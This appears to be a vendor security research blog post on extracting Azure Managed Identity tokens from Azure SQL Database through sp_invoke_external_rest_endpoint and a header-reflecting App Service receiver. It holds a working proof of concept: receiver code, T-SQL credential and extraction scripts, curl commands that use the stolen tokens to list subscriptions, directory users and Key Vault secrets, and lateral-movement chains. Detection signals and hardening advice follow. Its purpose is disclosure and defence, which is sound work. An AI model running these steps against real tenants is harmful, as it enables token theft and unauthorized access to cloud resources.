Extracting Azure Managed Identity Tokens From Azure SQL Database
Executive Summary
Azure SQL Database can mint Entra ID tokens for its own Managed Identity entirely from within T-SQL. By combining sp_invoke_external_rest_endpoint with a crafted DATABASE SCOPED CREDENTIAL, a principal with sufficient database privileges can obtain tokens for any first-party Azure audience the identity is authorized to access — and use those tokens entirely outside the database context.
The platform validates that the outbound URL is on a Microsoft allowlist and that the credential name matches the destination, but it does not verify that the requested token audience has any relationship to that destination. This gap turns a db_owner-level foothold into a token-minting capability bounded only by the Managed Identity's RBAC. This post walks through the technique, a working proof of concept, the detection signals it produces, and the configuration changes that close it.
Background
Azure SQL Database includes sp_invoke_external_rest_endpoint, a system stored procedure that issues outbound HTTPS calls from within the database engine. When a DATABASE SCOPED CREDENTIAL of type Managed Identity is attached to the call, the platform acquires a token on behalf of the SQL Server's assigned identity and injects it into the outgoing Authorization header.
The response parameter @response only contains what the remote server returns. SQL does not surface the outbound request headers to the caller, so the token cannot be read directly from the procedure output. This limitation is the only obstacle between a privileged database user and the identity's full token-minting capability, and it can be bypassed by routing the call through a receiver endpoint that reflects incoming headers back in the response body.
Managed Identity Types
Azure SQL Server supports two identity types relevant to this technique.
System-assigned identity is bound to the SQL Server's lifecycle. Enabling it creates a service principal in Entra ID scoped exclusively to that resource. Deleting the server deletes the identity.
User-assigned identity is a standalone Entra ID resource that can be attached to multiple Azure resources simultaneously. When multiple user-assigned identities are assigned to a server, one is designated as the primary identity. The sp_invoke_external_rest_endpoint procedure uses the primary identity by default. A specific identity can be targeted by including its client_id in the credential's SECRET field.
How sp_invoke resolves the identity at runtime:
| Configuration | Runtime Behavior |
|---|---|
| System-assigned only | System-assigned identity is used |
| User-assigned with primary designated | Primary identity is used; no client_id required |
| Both types present | User-assigned takes precedence |
| Specific user-assigned identity required | client_id must be specified in SECRET |
Disabling system-assigned identity does not eliminate the risk. If a user-assigned identity is still attached and holds RBAC permissions over sensitive resources, the attack path is unchanged.
The Outbound URL Allowlist
Azure SQL Database restricts outbound calls to a Microsoft-maintained allowlist validated through two mechanisms: domain string matching against known patterns and IP resolution to confirm the destination falls within Azure-owned address space. Custom domains are not supported. Reaching a custom-domain endpoint requires routing through Azure API Management, whose azure-api.net subdomain is on the allowlist.
Notable allowlist entries:
| Domain Pattern | Service |
|---|---|
*.azurewebsites.net |
App Service, Azure Functions |
*.azure-api.net |
API Management |
*.blob.core.windows.net |
Blob Storage |
*.vault.azure.net |
Key Vault |
*.cognitiveservices.azure.com |
Azure AI Services |
*.openai.azure.com |
Azure OpenAI |
graph.microsoft.com |
Microsoft Graph |
management.azure.com |
Azure Resource Manager |
login.microsoftonline.com |
Blocked |
login.microsoftonline.com is explicitly blocked, preventing direct token acquisition via the Entra ID token endpoint from within Azure SQL. Managed Identity is the only available path for obtaining tokens from inside the database, which is precisely what makes this technique effective.
This restriction is specific to Azure SQL Database (PaaS). SQL Server 2025 does not enforce an allowlist and can reach any HTTPS endpoint.
The Core Finding: Credential Name and resourceid Are Decoupled
When creating a Managed Identity credential, two values are specified:
The credential name must exactly match the URL being called. SQL enforces this at execution time and returns Error 31630 on mismatch.
The resourceid field in SECRET determines the audience of the token requested from Entra ID. SQL does not validate this value against the destination URL.
These two controls are completely independent. SQL enforces the URL match to satisfy the allowlist requirement but places no restriction on which audience the token is issued for. A credential can therefore point to an allowlisted receiver while requesting a token for an entirely different service.
The execution flow:
- SQL validates the URL against the allowlist.
- SQL validates that the credential name matches the called URL.
- SQL requests a token from Entra ID using the audience in
resourceid. - SQL sends the request to the receiver with the token in the
Authorizationheader. - The receiver reflects the token in the response body.
- SQL returns the response. The token is now readable by the caller.
Required Permissions
This is a post-exploitation technique requiring an established foothold within the database. The following permissions are needed:
| Permission | Purpose |
|---|---|
CONTROL DATABASE or db_owner |
Create a Database Master Key |
ALTER ANY DATABASE SCOPED CREDENTIAL |
Create the credential |
EXECUTE ANY EXTERNAL ENDPOINT |
Execute sp_invoke_external_rest_endpoint |
REFERENCES on the credential |
Use the credential in @credential parameter |
The db_owner role satisfies all four. Granting db_owner to application service accounts is a common misconfiguration in enterprise environments and represents the most likely initial access vector for this technique. A non-db_owner principal can also execute this attack if these two permissions are explicitly granted:
GRANT EXECUTE ANY EXTERNAL ENDPOINT TO [principal];
GRANT ALTER ANY DATABASE SCOPED CREDENTIAL TO [principal];
Lab Setup
SQL Server: Managed Identity
Enable the identity under Security > Identity on the SQL Server resource in the Azure Portal.
For system-assigned identity, toggle the status to On. An Object ID appears after saving, representing the service principal provisioned in Entra ID.
For user-assigned identity, add an existing managed identity from the same page and set it as the Primary identity.
Receiver Application
The receiver is a minimal .NET application deployed to App Service. It reflects all incoming request headers in the response body.
app.MapGet("/api/token", (HttpContext ctx) =>
{
var headers = ctx.Request.Headers
.ToDictionary(h => h.Key, h => h.Value.ToString());
return Results.Ok(new { headers });
});
One configuration requirement: the App Service Authentication page must have no identity providers configured. The current Azure Portal UI shows an empty authentication page when no providers are set, which is the correct state. If any provider is added, App Service Easy Auth intercepts the incoming bearer token before it reaches the application handler.
Verify the receiver before running the PoC:
curl -s https://<appname>.azurewebsites.net/api/token | jq

The receiver reflects all incoming request headers back in its JSON response — the mechanism that exposes the injected token.
Proof of Concept
Credential Setup
-- Create Master Key if absent
IF NOT EXISTS (
SELECT * FROM sys.symmetric_keys
WHERE name = '##MS_DatabaseMasterKey##'
)
BEGIN
CREATE MASTER KEY ENCRYPTION BY PASSWORD = '<strong-password>';
END
GO
-- System-assigned identity, targeting Microsoft Graph
CREATE DATABASE SCOPED CREDENTIAL [https://appwrktest.azurewebsites.net]
WITH IDENTITY = 'Managed Identity',
SECRET = '{"resourceid":"https://graph.microsoft.com"}';
GO
-- User-assigned identity (client_id required)
CREATE DATABASE SCOPED CREDENTIAL [https://appwrktest.azurewebsites.net]
WITH IDENTITY = 'Managed Identity',
SECRET = '{"client_id":"<uami-client-id>","resourceid":"https://graph.microsoft.com"}';
GO
Token Extraction
DECLARE @ret INT, @response NVARCHAR(MAX);
EXEC @ret = sys.sp_invoke_external_rest_endpoint
@url = N'https://appwrktest.azurewebsites.net/api/token',
@method = N'GET',
@credential = [https://appwrktest.azurewebsites.net],
@response = @response OUTPUT;
-- Full Authorization header value
SELECT JSON_VALUE(@response, '$.result.headers.Authorization') AS Token;
GO
-- Raw JWT only
SELECT SUBSTRING(
JSON_VALUE(@response, '$.result.headers.Authorization'),
8, 9999
) AS RawJWT;
GO

Executing sp_invoke_external_rest_endpoint against the receiver from a SQL client.

The Managed Identity token, reflected back by the receiver and now readable from the procedure output.
The receiver reflects the full Authorization header value including the Bearer prefix. When using the token in downstream requests, do not prepend Bearer a second time.
Targeting Different Audiences
Drop the credential and recreate with a different resourceid. The receiver URL remains unchanged.
DROP DATABASE SCOPED CREDENTIAL [https://appwrktest.azurewebsites.net];
GO
CREATE DATABASE SCOPED CREDENTIAL [https://appwrktest.azurewebsites.net]
WITH IDENTITY = 'Managed Identity',
SECRET = '{"resourceid":"https://management.azure.com/"}';
GO
Supported audiences:
| Service | resourceid |
|---|---|
| Microsoft Graph | https://graph.microsoft.com |
| Azure Resource Manager | https://management.azure.com/ |
| Key Vault | https://vault.azure.net |
| Storage | https://storage.azure.com/ |
| Azure OpenAI | https://cognitiveservices.azure.com |
| Service Bus | https://servicebus.azure.net |
| Azure SQL | https://database.windows.net/ |
Token Validation
TOKEN="eyJ0eXAi..."
# Enumerate accessible subscriptions
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2022-12-01" | jq
# Enumerate tenant users via Graph
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/users" | jq
# List Key Vault secrets
curl -s -H "Authorization: Bearer $TOKEN" \
"https://<vault-name>.vault.azure.net/secrets?api-version=7.4" | jq

The extracted Azure Resource Manager token used from an external host to enumerate accessible subscriptions.
The decoded JWT confirms the intended audience in the aud claim. Each target service validates this claim independently. A token issued for ARM is rejected by Graph, and vice versa.
{
"aud": "https://graph.microsoft.com",
"iss": "https://sts.windows.net/<tenant-id>/",
"oid": "<sql-server-mi-object-id>",
"appid": "<sql-server-mi-client-id>",
"exp": 1782194024
}

The decoded token: the aud claim matches the audience requested via resourceid, not the receiver URL the request was sent to.
Control Bypass Summary
| Control | Enforced By | Bypassable |
|---|---|---|
| Outbound URL allowlist | Azure SQL platform | No |
| Credential name must match called URL | Azure SQL platform | No |
resourceid must correspond to destination |
Not enforced | Yes. This is the basis of the technique. |
| Token grants access | Entra ID / RBAC | Bounded by identity permissions |
Attack Paths
Standard Chain
db_owner access obtained
--> DATABASE SCOPED CREDENTIAL created with target resourceid
--> sp_invoke called against receiver
--> Managed Identity token extracted
--> Lateral movement:
ARM token --> Enumerate and manage subscription resources
Graph token --> Enumerate users, groups, service principals, application permissions
KV token --> Read secrets, certificates, and cryptographic keys
Shared User-Assigned Identity
User-assigned identities are commonly shared across resources to simplify access management. When the same identity is attached to multiple SQL Servers, the weakest database in the group determines the blast radius for all of them.
Identity: mi-app-prod
Attached to: SQL Server [prod], [staging], [dev]
RBAC assignments:
Key Vault Secrets User on production-kv
Storage Blob Data Reader on production-storage
Graph API: User.Read.All
Compromise path:
db_owner obtained on dev (weakest security controls)
--> Token minted using mi-app-prod
--> Full access to production-kv, production-storage, and tenant directory
The production SQL Server is never touched. Development and staging environments typically share identities with production while maintaining looser access controls and broader db_owner grants. This mismatch creates a reliable escalation path.
Key Vault Pivot
Key Vault access is particularly valuable because its contents enable further movement beyond the Azure control plane.
Key Vault token obtained
--> Secrets enumerated:
Database connection strings
Third-party API keys
CI/CD pipeline credentials
Service account passwords
--> Each secret represents an independent lateral movement path
Detection
Database-Level Signals
CREATE DATABASE SCOPED CREDENTIALDDL events where the credential name is anazurewebsites.netURLsp_invoke_external_rest_endpointexecutions from databases with no prior history of outbound activity- Repeated credential drop-and-recreate cycles within a short window, indicating audience rotation
- Outbound egress to
azurewebsites.netfrom databases without a documented integration dependency
Entra ID Sign-in Logs
- Sign-in events from the SQL Server's service principal
- Token requests to high-value audiences (ARM, Graph, Key Vault) from an identity with no legitimate reason to access those services
- Multiple token requests targeting different audiences in rapid succession from the same identity
- For shared user-assigned identities, token requests from unexpected source resources
Recommendations
Immediate actions:
- Audit all SQL Servers for active Managed Identities. Disable any that serve no documented purpose.
- Do not attach the same user-assigned identity to resources across different security tiers. Development, staging, and production environments must use separate identities.
- Apply least-privilege RBAC to every SQL Server identity. Scope roles to the minimum set of services the identity legitimately accesses.
- Replace
db_ownergrants to application service accounts with purpose-specific roles.
Monitoring and hardening:
- Enable SQL Audit or Defender for Cloud to capture
CREATE DATABASE SCOPED CREDENTIALandsp_invoke_external_rest_endpointevents. - Alert on sign-in events from SQL Server service principals targeting high-value audiences.
- Restrict
EXECUTE ANY EXTERNAL ENDPOINTto principals with a documented and approved business requirement.
Assessment checklist:
- Which SQL Servers have Managed Identities enabled, and of which type?
- What RBAC roles are assigned to each identity? (
az role assignment list --assignee <object-id> --all) - Is any user-assigned identity shared across resources with different security classifications?
- Who holds
db_ownerorEXECUTE ANY EXTERNAL ENDPOINTon each database?
Conclusion
The combination of sp_invoke_external_rest_endpoint, DATABASE SCOPED CREDENTIAL, and Managed Identity creates a token minting capability inside Azure SQL Database. The platform validates that the outbound URL matches the allowlist and that the credential name corresponds to the destination, but it does not verify that the requested token audience has any relationship to that destination. This gap allows a caller with sufficient database permissions to obtain valid tokens for any first-party Azure service the identity is authorized to access.
The impact is not bounded by the permissions of the database user. It is bounded by the permissions of the Managed Identity. In environments where user-assigned identities are shared across resources with different security postures, a foothold on the least-protected database is sufficient to access every resource the shared identity can reach.
SQL Server Managed Identities and their RBAC assignments should be a first-class component of any Azure identity security posture assessment.
References
- sp_invoke_external_rest_endpoint (Transact-SQL) - Microsoft Learn
- CREATE DATABASE SCOPED CREDENTIAL (Transact-SQL) - Microsoft Learn
- Managed identities in Azure SQL - Microsoft Learn
This research is published for educational purposes. Testing this technique against systems without explicit authorization is prohibited.
See your identity exposure clearly.
Start with a 1-day Proof of Value in your own environment.